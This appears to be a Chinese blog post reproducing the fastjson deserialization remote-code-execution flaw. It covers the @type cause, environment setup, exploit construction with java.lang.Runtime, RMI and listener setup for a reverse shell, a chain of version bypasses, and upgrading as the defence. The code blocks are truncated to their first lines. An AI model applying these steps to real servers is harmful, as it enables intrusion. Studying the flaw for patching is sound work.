fastjson反序列化
概述
fastjson是java中解析json的库。
产生原因
在json字符串中存在@type
属性时,fastjson会将该字符串解析为其指定的类。导致不受信任的类被反序列化。
影响
代码执行等
小于等于1.2.68
环境搭建
1 | cd fastjson/1.2.24-rce |
复现
发送一个json请求
Exp构造
1 | import java.lang.Runtime; |
同时开启rmi和python监听
发送请求,反弹shell
{:height 412, :width 718}
payload
1 | { |
攻防
利用
对于其他版本的fastjson
1.2.24(首个漏洞)–>1.2.41(黑名单绕过)–>1.2.42(黑名单绕过)–>1.2.45(新利用链)–>1.2.47(AutoType绕过)–>1.2.68(AutoType绕过)
防御
升级版本。新版本fastjson删除了@type
特性,从根源上防止反序列化发生
参考
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ziWindlu的博客!